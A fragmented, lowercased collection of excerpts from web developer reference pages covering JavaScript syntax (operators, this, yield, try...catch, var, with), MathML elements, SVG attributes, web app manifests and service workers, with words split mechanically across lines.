...on contains data (for example, an array: "[1, 2, 3]"), as opposed to code, you should consider switching to json, which allows the string to use a subset of javascript syntax to represent data. see also downloading json and javascript in extensions. note that since json syntax is limited compared to javascript syntax, many valid javascript literals will not parse as json. for example, trailing co
mmas are not allowed in json, and property names (keys) in object literals must be enclosed in quotes. be sure to use a json serializer to generate strings that will be later parsed as json. pass data instead of code for example, an extension designed to scrape contents of web-pages could have the scraping rules defined in xpath instead of javascript code. run code with limited privileges if you...
Exponentiation (**) - JavaScript
he exponentiation operator is defined to have a higher precedence than unary operators, such as unary + and unary -, but there are a few exceptions. for example, in bash, the ** operator is defined to have a lower precedence than unary operators. in javascript, it is impossible to write an ambiguous exponentiation expression. ...
...o write an ambiguous exponentiation expression. that is, you cannot put a unary operator (+/-/~/!/delete/void/typeof) i
mmediately before the base number; doing so will cause a syntaxerror. -2 ** 2; // 4 in bash, -4 in other languages. // this is invalid in javascript, as the operation is ambiguous. -(2 ** 2); // -4 in javascript and the author's intention is unambiguous. note that some progra
mming languages use the caret symbol ^ for exponentiation, but javascript uses that symbol for the bitwise logical xor operator. examples basic exponentiation 2 ** 3 // 8 3 ** 2 // 9 3 ** 2.5 // 15.588457268119896 10 ** -1 // 0.1 nan ** 2 // nan associativity 2 ** 3 ** 2 // 512 2 ** (3 ** 2) // 512 (2 ** 3) ** 2 // 64 usage with unary operators to invert the sign of the result of an ex...
Nullish coalescing operator (??) - JavaScript
this behavior may cause unexpected consequence...
...this behavior may cause unexpected consequences if you consider 0, '', or nan as valid values. let count = 0; let text = ""; let qty = count || 42; let message = text || "hi!"; con...
Object initializer - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... json.parse() will reject computed property names and an error will be thrown. examples creating objects an empty object with no properties can be created like this: let object = {} however, the advantage of the literal or initializer notation is, that you are able to quickly create objects with properties inside the curly braces. you simply notate a list of key: value pairs delimited by co
mmas. the following code creates an object with three properties and the keys are "foo", "age" and "baz". the values of these keys are a string "bar", the number 42, and another object. let object = { foo: 'bar', age: 42, baz: {myprop: 12} } accessing properties once you have created an object, you might want to read or change them. object properties can be accessed by using the dot notati...
Optional chaining (?.) - JavaScript
. this can be helpful, for example, when using an api in which a method might be unavailable, either due to the age of the implementation or because of a feature which isn't available on the user's device. using optional chaining with function calls causes the expression to automatically return undefined instead of throwing an exception if the method isn't found: let result = someinterface.custo
mmethod?.(); note: if there is a property with such a name and which is not a function, using ?. will still raise a typeerror exception (someinterface.custo
mmethod is not a function). note: if someinterface itself is null or undefined, a typeerror exception will still be raised (someinterface is null). if you expect that someinterface itself may be null or undefined, you have to use ?. at this ...
...rty with such a name and which is not a function, using ?. will still raise a typeerror exception (someinterface.custo
mmethod is not a function). note: if someinterface itself is null or undefined, a typeerror exception will still be raised (someinterface is null). if you expect that someinterface itself may be null or undefined, you have to use ?. at this position as well: someinterface?.custo
mmethod?.() dealing with optional callbacks or event handlers if you use callbacks or fetch methods from an object with a destructuring assignment, you may have non-existent values that you cannot call as functions unless you have tested their existence. using ?., you can avoid this extra test: // written as of es2019 function dosomething(oncontent, onerror) { try { // ... do something wit...
this - JavaScript
ver, we could have just as easily defined the function first and later attached it to o.f. doing so results in the same behavior: var o = {prop: 37}; function independent() { return this.prop; } o.f = independent; console.log(o.f()); // 37 this demonstrates that it matters only that the function was invoked from the f member of o. similarly, the this binding is only affected by the most i
mmediate member reference. in the following example, when we invoke the function, we call it as a method g of the object o.b. this time during execution, this inside the function will refer to o.b. the fact that the object is itself a member of o has no consequence; the most i
mmediate reference is all that matters. o.b = {g: independent, prop: 42}; console.log(o.b.g()); // 42 this on the object's...
...s here. * // create properties on |this| as * // desired by assigning to them. e.g., * this.fum = "nom"; * // et cetera... * * // if the function has a return statement that * // returns an object, that object will be the * // result of the |new| expression. otherwise, * // the result of the expression is the object * // currently bound to |this| * // (i.e., the co
mmon case most usually seen). * } */ function c() { this.a = 37; } var o = new c(); console.log(o.a); // 37 function c2() { this.a = 37; return {a: 38}; } o = new c2(); console.log(o.a); // 38 in the last example (c2), because an object was returned during construction, the new object that this was bound to simply gets discarded. (this essentially makes the statement "this.a = 37;" de...
yield - JavaScript
ession, the generator's code execution remains paused until the generator's next() method is called. each time the generator's next() method is called, the generator resumes execution, and runs until it reaches one of the following: a yield, which causes the generator to once again pause and return the generator's new value. the next time next() is called, execution resumes with the statement i
mmediately after the yield. throw is used to throw an exception from the generator. this halts execution of the generator entirely, and execution resumes in the caller (as is normally the case when an exception is thrown). the end of the generator function is reached. in this case, execution of the generator ends and an iteratorresult is returned to the caller in which the value is undefined and d...
...atement and done is true. if an optional value is passed to the generator's next() method, that value becomes the value returned by the generator's current yield operation. between the generator's code path, its yield operators, and the ability to specify a new starting value by passing it to generator.prototype.next(), generators offer enormous power and control. unfortunately, next() is asy
mmetric, but that can’t be helped: it always sends a value to the currently suspended yield, but returns the operand of the following yield. examples using yield the following code is the declaration of an example generator function. function* countapplesales () { let salelist = [3, 7, 5] for (let i = 0; i < salelist.length; i++) { yield salelist[i] } } once a generator function is...
try...catch - JavaScript
ements. at least one catch-block, or a finally-block, must be present. this gives us three forms for the try statement: try...catch try...finally try...catch...finally a catch-block contains statements that specify what to do if an exception is thrown in the try-block. if any statement within the try-block (or in a function called from within the try-block) throws an exception, control is i
mmediately shifted to the catch-block. if no exception is thrown in the try-block, the catch-block is skipped. the finally-block will always execute after the try-block and catch-block(s) have finished executing. it always executes, regardless of whether an exception was thrown or caught. you can nest one or more try statements. if an inner try statement does not have a catch-block, the enclosing ...
... if (e instanceof typeerror) { // statements to handle typeerror exceptions } else if (e instanceof rangeerror) { // statements to handle rangeerror exceptions } else if (e instanceof evalerror) { // statements to handle evalerror exceptions } else { // statements to handle any unspecified exceptions logmyerrors(e); // pass exception object to error handler } } a co
mmon use case for this is to only catch (and silence) a small subset of expected errors, and then re-throw the error in other cases: try { myroutine(); } catch (e) { if (e instanceof rangeerror) { // statements to handle this very co
mmon expected error } else { throw e; // re-throw the error unchanged } } the exception identifier when an exception is thrown in the try-block, exc...
var - JavaScript
roperty of the global object. javascript has automatic memory management, and it would make no sense to be able to use the delete operator on a global variable. 'use strict'; var x = 1; globalthis.hasownproperty('x'); // true delete globalthis.x; // typeerror in strict mode. fails silently otherwise. delete x; // syntaxerror in strict mode. fails silently otherwise. note that in both nodejs co
mmonjs modules and native ecmascript modules, top-level variable declarations are scoped to the module, and are not, therefore added as properties to the global object. unqualified identifier assignments the global object sits at the top of the scope chain. when attempting to resolve a name to a value, the scope chain is searched. this means that properties on the global object are conveniently vi...
...ted, declaring a variable anywhere in the code is equivalent to declaring it at the top. this also means that a variable can appear to be used before it's declared. this behavior is called "hoisting", as it appears that the variable declaration is moved to the top of the function or global code. bla = 2; var bla; // ...is implicitly understood as: var bla; bla = 2; for that reason, it is reco
mmended to always declare variables at the top of their scope (the top of global code and the top of function code) so it's clear which variables are function scoped (local) and which are resolved on the scope chain. it's important to point out that the hoisting will affect the variable declaration, but not its value's initialization. the value will be indeed assigned when the assignment statement ...
with - JavaScript
see the "ambiguity contra" paragraph in the "description" section below for details. the with statement extends the scope chain for a statement. syntax with (expression) statement expression adds the given expression to the scope chain used when evaluating the statement. the parentheses around the expression are required. statement any statement. to execute multiple statements, use a block statement ({ ... }) to group those statements. description javascript looks up an unqualified name by searching a scope chain associated with the execution context of the script or function containing that unqualified name. ...
... of the script or function containing that unqualified name. the 'with' statement adds the given object to the head of this scope chain during the evaluation of its statement body. if an unqualified name used in the body matches a property in the scope chain, then the name is bound to the property and the object containing the property. otherwise a referenceerror is thrown. using with is not reco
mmended, and is forbidden in ecmascript 5 strict mode. the reco
mmended alternative is to assign the object whose properties you want to access to a temporary variable. performance pro & contra pro: the with statement can help reduce file size by reducing the need to repeat a lengthy object reference without performance penalty. the scope chain change required by 'with' is not computationally expen...
Template literals (Template strings) - JavaScript
the e...
...the ecmascript proposal template literal revision (stage 4, to be integrated in the ecmascript 2018 standard) removes the syntax restriction of ecmascript escape sequences from tagged templates. however, illegal escape sequences must still be represented in the “cooked” representation. ...
Web app manifests
ation in a json text file, necessary for the web app to be downloaded and be presented to the user similarly to a native app (e.g., be installed on the homescreen of a device, providing users with quicker access and a richer experience). pwa manifests include its name, author, icon(s), version, description, and list of all the necessary resources (among other things). can pwa manifest contain co
mments? it is a json-formatted file, with one exception: it is allowed to contain "//"-style co
mments. members web manifests can contain the following keys. click each one for more information about it: background_colorcategoriesdescriptiondirdisplayiarc_rating_idiconslangnameorientationprefer_related_applicationsrelated_applicationsscopescreenshotsserviceworkershort_nameshortcutsstart_urltheme_...
...ile is in the same origin as the current page. splash screens in chrome 47 and later, a splash screen is displayed for sites launched from a homescreen. this splashscreen is auto-generated from properties in the web app manifest, specifically: name background_color the icon in the icons array that is closest to 128dpi for the device. specifications specification status co
mment web app manifest working draft initial definition. ...
<mfenced> - MathML
href used to set a hyperlink to a specified uri. mathbackground the background color. ...
...osing parentheses (such as brackets) and separators (such as co
mmas or semicolons) to an expression. it has been removed from the latest mathml standard and modern browsers no longer support it. use the <mrow> and <mo> elements instead. attributes class, id, style provided for use with stylesheets. close a string for the closing delimiter. the default value is ")" and any white space is tri
mmed. href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color and also the fraction line color. you can use #rgb, #rrggbb and html color names. open a string for the opening delimiter. the default value is "(" and any white space is tri
mmed. separators a sequence of zero or more character...
<mfrac> - MathML
precated and will be removed in the future. use css text-align instead. ...
...ample rendering: your browser rendering: a b c d <math> <mfrac bevelled="true"> <mfrac> <mi> a </mi> <mi> b </mi> </mfrac> <mfrac> <mi> c </mi> <mi> d </mi> </mfrac> </mfrac> </math> specifications specification status co
mment mathml 3.0the definition of 'mfrac' in that specification. reco
mmendation current specification mathml 2.0the definition of 'mfrac' in that specification. reco
mmendation initial specification ...
<mlabeledtr> - MathML
is, baseline, bottom, center and top. ...
...abeledtr> <mtd><mn>1</mn></mtd> <!-- label --> <mtd><mi>a</mi></mtd> <mtd><mi>b</mi></mtd> </mlabeledtr> <mtr> <mtd><mi>c</mi></mtd> <mtd><mi>d</mi></mtd> <mtd><mi>e</mi></mtd> </mtr> </mtable> </math> specifications specification status co
mment mathml 3.0the definition of 'mlabeledtr' in that specification. reco
mmendation current specification mathml 2.0the definition of 'mlabeledtr' in that specification. reco
mmendation initial specification ...
<mn> - MathML
however, it is also allowed to have arbitrary text in it which is actually a numeric quantity, for example "eleven". attributes class, id, style provided for use with stylesheets. dir the text direction. possible values are either ltr (left to right) or rtl (right to left). href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. ...
...; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mn> 0 </mn> <mn> 1.337 </mn> <mn> twelve </mn> <mn> xvi </mn> <mn> 2e10 </mn> </math> specifications specification status co
mment mathml 3.0the definition of 'mn' in that specification. reco
mmendation current specification mathml 2.0the definition of 'mn' in that specification. reco
mmendation initial specification ...
<mover> - MathML
lor. you can use #rgb, #rrggbb and html color names. ...
...rendering in your browser: x + y + z ⏞ <math> <mover accent="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> ⏞ <!--top curly bracket--> </mo> </mover> </math> specifications specification status co
mment mathml 3.0the definition of 'mover' in that specification. reco
mmendation current specification mathml 2.0the definition of 'mover' in that specification. reco
mmendation initial specification ...
<ms> - MathML
by default, string literals are displayed as enclosed by double quotes ("); by using the lquote and rquote attributes, you can set custom characters to display. note that quotation marks should not be specified unless they are part of the string literal. the content of an <ms> element is not an ascii string per se, but rather a sequence of characters and <mglyph> and <malignmark> elements. attributes class, id, style provided for use with stylesheets. dir the text direction. possible values are either ltr (left to right) or rtl (right to left). ...
...-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال rquote the closing quote mark (depends on dir) to enclose the content. the default value is """. examples <math> <ms lquote="„" rquote="“"> abc </ms> </math> specifications specification status co
mment mathml 3.0the definition of 'ms' in that specification. reco
mmendation current specification mathml 2.0the definition of 'ms' in that specification. reco
mmendation initial specification ...
<mtext> - MathML
to display text with notational meaning, use <mi> and <mo> instead. attributes class, id, style provided for use with stylesheets. dir the text direction. possible values are either ltr (left to right) or rtl (right to left). href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. mathsize the size of the content. see length for possible values. deprecated values are: small, normal and big. ...
...t ; example bold-script ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example normal (default) ; مثال initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mtext> theorem of pythagoras </mtext> <mtext> /* co
mment here */ </mtext> </math> specifications specification status co
mment mathml 3.0the definition of 'mtext' in that specification. reco
mmendation current specification mathml 2.0the definition of 'mtext' in that specification. reco
mmendation initial specification ...
<munder> - MathML
an use #rgb, #rrggbb and html color names. ...
...n your browser: x + y + z ⏟ <math> <munder accentunder="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> ⏟ <!--bottom curly bracket--> </mo> </munder> </math> specifications specification status co
mment mathml 3.0the definition of 'munder' in that specification. reco
mmendation current specification mathml 2.0the definition of 'munder' in that specification. reco
mmendation initial specification ...
MathML element reference - MathML
ns to sub-expressions) <maligngroup> (alignment group) <malignmark> (alignment points) e <menclose> (enclosed contents) <merror> (enclosed syntax error messages) f <mfenced> (parentheses) <mfrac> (fraction) g <mglyph> (displaying non-standard symbols) i <mi> (identifier) l <mlabeledtr> (labeled row in a table or a matrix) <mlongdiv> (long division notation) m <
mmultiscripts> (prescripts and tensor indices) n <mn> (number) o <mo> (operator) <mover> (overscript) p <mpadded> (space around content) <mphantom> (invisible content with reserved space) r <mroot> (radical with specified index) <mrow> (grouped sub-expressions) s <ms> (string literal) <mscarries> (annotations such as carries) <mscarry> (single carry, child element of <m...
...iner for semantic annotations) <annotation> (data annotations) <annotation-xml> (xml annotations) mathml presentation elements by category top-level elements <math> token elements <mglyph> <mi> <mn> <mo> <ms> <mspace> <mtext> general layout <menclose> <merror> <mfenced> <mfrac> <mpadded> <mphantom> <mroot> <mrow> <msqrt> <mstyle> script and limit elements <
mmultiscripts> <mover> <mprescripts> <msub> <msubsup> <msup> <munder> <munderover> <none> tabular math <maligngroup> <malignmark> <mlabeledtr> <mtable> <mtd> <mtr> elementary math <mlongdiv> <mscarries> <mscarry> <msgroup> <msline> <msrow> <mstack> uncategorized elements <maction> semantic annotations <annotation> <annotation-xml> <semantics> ...
MathML
mathematical markup language (mathml) is a dialect of xml for describing mathematical notation and capturing both its structure and content. here you'll find links to documentation, examples, and tools to help you work with this powerful technology. for a quick overview, see the slides for the innovation fairs at mozilla su
mmit 2013. mathml reference mathml element reference details about each mathml element and compatibility information for desktop and mobile browsers. mathml attribute reference information about mathml attributes that modify the appearance or behavior of elements. mathml examples mathml samples and examples to help you understand how it works. authoring mathml suggestions and tips for writing mathml, including suggested mathml editors and how to integrate th...
...e browsers. mathml attribute reference information about mathml attributes that modify the appearance or behavior of elements. mathml examples mathml samples and examples to help you understand how it works. authoring mathml suggestions and tips for writing mathml, including suggested mathml editors and how to integrate their output into web content. view all... getting help from the co
mmunity view mozilla forums... mailing list newsgroup rss feed matrix chat room wiki used by mozilla contributors w3c math home www-math w3.org mail archive tools w3c validator mathzilla firefox add-on collection texzilla — javascript latex to mathml converter (live demo, firefox os webapp, firefox add-on, using in a web page, js program etc) latexml - convert latex docu...
Web media technologies
diastream recording api the mediastream recording api lets you capture media streams to process or filter the data or record it to disk. web audio api the web audio api lets you generate, filter, and manipulate sound data both in real-time and on pre-recorded material, then send that audio to a destination such as an <audio> element, a media stream, or to disk. webrtc webrtc (web real-time co
mmunication) makes it possible to stream live audio and video, as well as transfer arbitrary data, between two peers over the internet, without requiring an intermediary. guides overview of media technology on the web a general look at the open web technologies and apis that provide support for audio and video playback, manipulation, and recording. if you're not sure which api you should use...
...guide, we cover ways web designers and developers can create content that is accessible to people with different capabilities. this ranges from simply using the alt attribute on <img> elements to captions to tagging media for screen readers. guide to media types and formats on the web a guide to the file types and codecs available for images, audio, and video media on the web. this includes reco
mmendations for what formats to use for what kinds of content, best practices including how to provide fallbacks and how to prioritize media types, and also includes general browser support information for each media container and codec. streaming audio and video a guide which covers how to stream audio and video, as well as techniques and technologies you can take advantage of to ensure the best ...
OpenSearch description format
browsers' documentation.) firefox also supports additional features not in the opensearch standard, such as search suggestions and the <searchform> element. this article focuses on creating opensearch-compatible search plugins that support these additional firefox features. opensearch description files can be advertised as described in autodiscovery of search plugins, and can be installed progra
mmatically as described in adding search engines from web pages. opensearch description file the xml file that describes a search engine follows the basic template below. sections in [square brackets] should be customized for the specific plugin you're writing. <opensearchdescription xmlns="http://a9.com/-/spec/opensearch/1.1/" xmlns:moz="http://www.mozilla.org/2006/browser...
...ile the xml file that describes a search engine follows the basic template below. sections in [square brackets] should be customized for the specific plugin you're writing. ...
Lazy loading - Web Performance
00kb for desktop and ~50kb to ~350kb for mobile. while image size has increased from ~250kb to ~900kb on desktop and ~100kb to ~850kb on mobile. one of the methods we can use to tackle this problem is to shorten the critical rendering path length by lazy loading resources that are not critical for the first render to happen. a practical example would be when, you land on the home page of an e-co
mmerce site which has a link to a cart page/section and all its resources (js, css, images...) are downloaded only when the user navigates to that cart page. strategies lazy loading can be applied to multiple resources and through multiple strategies. general code splitting javascript, css and html can be split into smaller chunks. this enables sending the minimal code required to provid...
... intersection observers allow the user to know when an observed element enters or exits the browser’s viewport. event handlers when browser compatibility is crucial, there are a few options: polyfill intersection observer fallback to scroll, resize or orientation change event handlers to determine if a specific element is in viewport specifications specification status co
mment html living standard living standard ...
Performance budgets - Web Performance
t). quantity-based (e.g. amount of js files/total image size). rule-based (e.g. pagespeed index, lighthouse score). their primary goal is to prevent regressions, but they can provide insights to forecast trends (i.e. on september, 50% of the budget was spent in a week). additionally, it can uncover development needs (i.e. a large library with smaller alternatives is often picked to solve a co
mmon problem). how do i define a performance budget? a budget should include 2 levels: warning. error. the warning level allows you to be proactive and plan any tech debt, while not blocking development or deploys. the error level is an upper bound limit, where changes will have a negative and noticeable impact. in order to begin, you need to first measure the devices and connection speeds...
...ler (e.g. webpack), has performance features that will notify you when assets exceed specified limits. bundlesize, allows you to define and run file size checks in your ci pipeline. file size checks are the first line of defense against regressions but translating size back into time metrics can be difficult since development environments could be missing 3rd party scripts, and optimizations co
mmonly provided by a cdn. the first step is to define a development baseline for each branch to compare to and the precision of the difference between development and production can be used as a goal towards better match the live environment. the lighthouse bot integrates with travis ci and can be used to gather lighthouse and webpage test metrics from a development url. the bot will pass or fail ...
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
network. they finally fix issues that front-end developers have struggled with for years — most notably how to properly cache the assets of a website and make them available when the user’s device is offline. they run on a separate thread from the main javascript code of our page, and don't have any access to the dom structure. this introduces a different approach from traditional web progra
mming — the api is non-blocking, and can send and receive co
mmunication between different contexts. you are able to give a service worker something to work on, and receive the result whenever it is ready using a promise-based approach. they can do a lot more than "just" offering offline capabilities, including handling notifications, performing heavy calculations on a separate thread, etc. servic...
...files from cache is not the only feature service worker offers. if you have heavy calculations to do, you can offload them from the main thread and do them in the worker, and receive results as soon as they are available. performance-wise, you can prefetch resources that are not needed right now, but might be in the near future, so the app will be faster when you actually need those resources. su
mmary in this article we took a simple look at how you can make your pwa work offline with service workers. be sure to check out our further documentation if you want to learn more about the concepts behind the service worker api and how to use it in more detail. service workers are also used when dealing with push notifications — this will be explained in a subsequent article. previous ov...
font-family - SVG: Scalable Vector Graphics
age notes value [ <family-name> | <generic-family> ]#where <family-name> = <string> | <custom-ident>+<generic-family> = serif | sans-serif | cursive | fantasy | monospace default value depends on user agent animatable yes for a description of the values, please refer to the css font-family property. ...
...e css font-family property. specifications specification status co
mment css fonts module level 4the definition of 'generic font families' in that specification. working draft adds new generic font families, specifically: system-ui, emoji, math, and fangsong. css fonts module level 3the definition of 'font-family' in that specification. candidate reco
mmendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-family' in that specification. reco
mmendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send...
font-stretch - SVG: Scalable Vector Graphics
h>, <text>, <textpath>, <tref>, and <tspan> usage notes value <font-stretch-absolute>where <font-stretch-absolute> = normal | ultra-condensed | extra-condensed | condensed | semi-condensed | semi-expanded | expanded | extra-expanded | ultra-expanded | <percentage> default value normal animatable yes specifications specification status co
mment css fonts module level 4the definition of 'font-stretch' in that specification. working draft adds the <percentage> syntax for variable fonts. css fonts module level 3the definition of 'font-stretch' in that specification. candidate reco
mmendation initial definition of font-stretch in css fonts scalable vector graphics (svg) 1.1 (second edition)the de...
...f 'font-stretch' in that specification. working draft adds the <percentage> syntax for variable fonts. css fonts module level 3the definition of 'font-stretch' in that specification. ...
font-style - SVG: Scalable Vector Graphics
g"> <text y="20" font-style="normal">normal font style</text> <text x="150" y="20" font-style="italic">italic font style</text> </svg> usage notes value normal | italic | oblique default value normal animatable yes for a description of the values, please refer to the css font-style property. ...
...l animatable yes for a description of the values, please refer to the css font-style property. specifications specification status co
mment css fonts module level 4the definition of 'font-style' in that specification. working draft no change css fonts module level 3the definition of 'font-style' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-style' in that specification. reco
mmendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull re...
font-weight - SVG: Scalable Vector Graphics
<text y="20" font-weight="normal">normal text</text> <text x="100" y="20" font-weight="bold">bold text</text> </svg> usage notes value normal | bold | bolder | lighter | <number> default value normal animatable yes for a description of the values, please refer to the css font-weight property. ...
...f the values, please refer to the css font-weight property. specifications specification status co
mment css fonts module level 4the definition of 'font-weight' in that specification. working draft defines font-weight to accept any numbers between 1 and 1000. css fonts module level 3the definition of 'font-weight' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-weight' in that specification. reco
mmendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull r...
from - SVG: Scalable Vector Graphics
="100" to="150" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable no the exact value type for this attribute depends on the value of the attribute that will be animated. ...
... will be animated. when a list of values is defined via the values attribute, the from attribute is ignored. specifications specification status co
mment svg animations level 2the definition of 'from' in that specification. ...
hanging - SVG: Scalable Vector Graphics
line alignment for horizontally oriented glyph layouts. the value is an offset in the font coordinate system. ...
...is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the alignment coordinate for the glyphs. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'hanging' in that specification. reco
mmendation initial definition ...
horiz-origin-x - SVG: Scalable Vector Graphics
ing horizontally oriented text. note: the origin applies to all glyphs in the font. ...
... usage notes value <number> default value 0 animatable no <number> this value indicates the x-coordinate of the origin of a glyph for horizontally oriented text. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-origin-x' in that specification. reco
mmendation initial definition ...
horiz-origin-y - SVG: Scalable Vector Graphics
ing horizontally oriented text. note: the origin applies to all glyphs in the font. ...
... usage notes value <number> default value 0 animatable no <number> this value indicates the x-coordinate of the origin of a glyph for horizontally oriented text. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-origin-y' in that specification. reco
mmendation initial definition ...
ideographic - SVG: Scalable Vector Graphics
line alignment for horizontally oriented glyph layouts. the value is an offset in the font coordinate system. ...
...sing this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the alignment coordinate for the glyphs. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'ideographic' in that specification. reco
mmendation initial definition ...
in - SVG: Scalable Vector Graphics
is a workaround. ...
...<circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#imagemultiply);"/> </svg> </div> result specifications specification status co
mment filter effects module level 1the definition of 'in' in that specification. ...
k - SVG: Scalable Vector Graphics
n the font coordinate system. this attribute is required. ...
...text notes value <number> default value none animatable no <number> this value indicates the amount for decreasing the spacing between the two glyphs in the kerning pair. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'k' in that specification. reco
mmendation initial definition ...
keyPoints - SVG: Scalable Vector Graphics
e exactly as many values in the keypoints list as in the keytimes list. if there's a semicolon at the end of the value, optionally followed by white space, both the semicolon and the trailing white space are ignored. if there are any errors in the value specification (i.e. ...
...in the value specification (i.e. bad values, too many or too few values), then thatʼs an error. specifications specification status co
mment svg animations level 2the definition of 'keypoints' in that specification. ...
keySplines - SVG: Scalable Vector Graphics
2 y2, describing the bézier control points for one time segment. the keytimes values that define the associated segment are the bézier "anchor points", and the keysplines values are the control points. thus, there must be one fewer sets of control points than there are keytimes. ...
...ol points than there are keytimes. the values of x1 y1 x2 y2 must all be in the range 0 to 1. specifications specification status co
mment svg animations level 2the definition of 'keysplines' in that specification. ...
keyTimes - SVG: Scalable Vector Graphics
e in the list must be 0. the time associated with each value defines when the value is set; the animation function uses that value until the next time defined in the list. if the calcmode attribute is set to paced, the keytimes attribute is ignored. ...
...ignored. if the duration of the animation is indefinite, any keytimes specification will be ignored. specifications specification status co
mment svg animations level 2the definition of 'keytimes' in that specification. ...
shape-rendering - SVG: Scalable Vector Graphics
t turn off anti-aliasing for all lines and curves or possibly just for straight lines which are close to vertical or horizontal. also, the user agent might adjust line positions and line widths to align edges with device pixels. geometricprecision indicates that the user agent shall emphasize geometric precision over speed and crisp edges. ...
.... also, the user agent might adjust line positions and line widths to align edges with device pixels. geometricprecision indicates that the user agent shall emphasize geometric precision over speed and crisp edges. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'shape-rendering' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'shape-rendering' in that specification. reco
mmendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pu...
slope - SVG: Scalable Vector Graphics
the slope attribute indicates the vertical stroke angle of a font. ...
...lement is using this attribute: <font-face> usage notes value <number> default value 0 animatable no <number> this value indicates the vertical stroke angle of the font. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'slope' in that specification. reco
mmendation initial definition ...
spreadMethod - SVG: Scalable Vector Graphics
top-color="orange"/> </radialgradient> </defs> <rect fill="url(#radialpadgradient)" x="10" y="10" width="100" height="100"/> <rect fill="url(#radialreflectgradient)" x="120" y="10" width="100" height="100"/> <rect fill="url(#radialrepeatgradient)" x="230" y="10" width="100" height="100"/> </svg> result specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'spreadmethod for <radialgradient>' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 2the definition of 'spreadmethod for <lineargradient>' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition...
...readmethod for <radialgradient>' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 2the definition of 'spreadmethod for <lineargradient>' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'spreadmethod for <radialgradient>' in that specification. reco
mmendation initial definition for <radialgradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'spreadmethod for <lineargradient>' in that specification. reco
mmendation initial definition for <lineargradient> browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please ...
stdDeviation - SVG: Scalable Vector Graphics
umber is provided, then that value is used for both x and y. a negative value is forbidden. a value of zero disables the effect of the given filter primitive (i.e., the result is the filter input image). ...
...he effect is that the blur is only applied in the direction that has a non-zero value. specifications specification status co
mment filter effects module level 1the definition of 'stddeviation' in that specification. ...
stemh - SVG: Scalable Vector Graphics
, all stems may have slightly different widths. if this attribute is used, the units-per-em must also be used. ...
...ent is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the horizontal stem width of the font. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'stemh' in that specification. reco
mmendation initial definition ...
stemv - SVG: Scalable Vector Graphics
ghter weight one as for an uppercase "m" or "n"). if this attribute is used, the units-per-em must also be used. ...
...ement is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the vertical stem width of the font. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'stemv' in that specification. reco
mmendation initial definition ...
stitchTiles - SVG: Scalable Vector Graphics
ar discontinuities at the tile borders. ...
...subregion) contain an integral number of the tile width and height for the first octave. specifications specification status co
mment filter effects module level 1the definition of 'stitchtiles' in that specification. ...
targetX - SVG: Scalable Vector Graphics
orderx. ...
...izontal direction of the convolution matrix relative to a given target pixel in the input image. specifications specification status co
mment filter effects module level 1the definition of 'targetx' in that specification. ...
targetY - SVG: Scalable Vector Graphics
< ordery. ...
...ertical direction of the convolution matrix relative to a given target pixel in the input image. specifications specification status co
mment filter effects module level 1the definition of 'targety' in that specification. ...
text-anchor - SVG: Scalable Vector Graphics
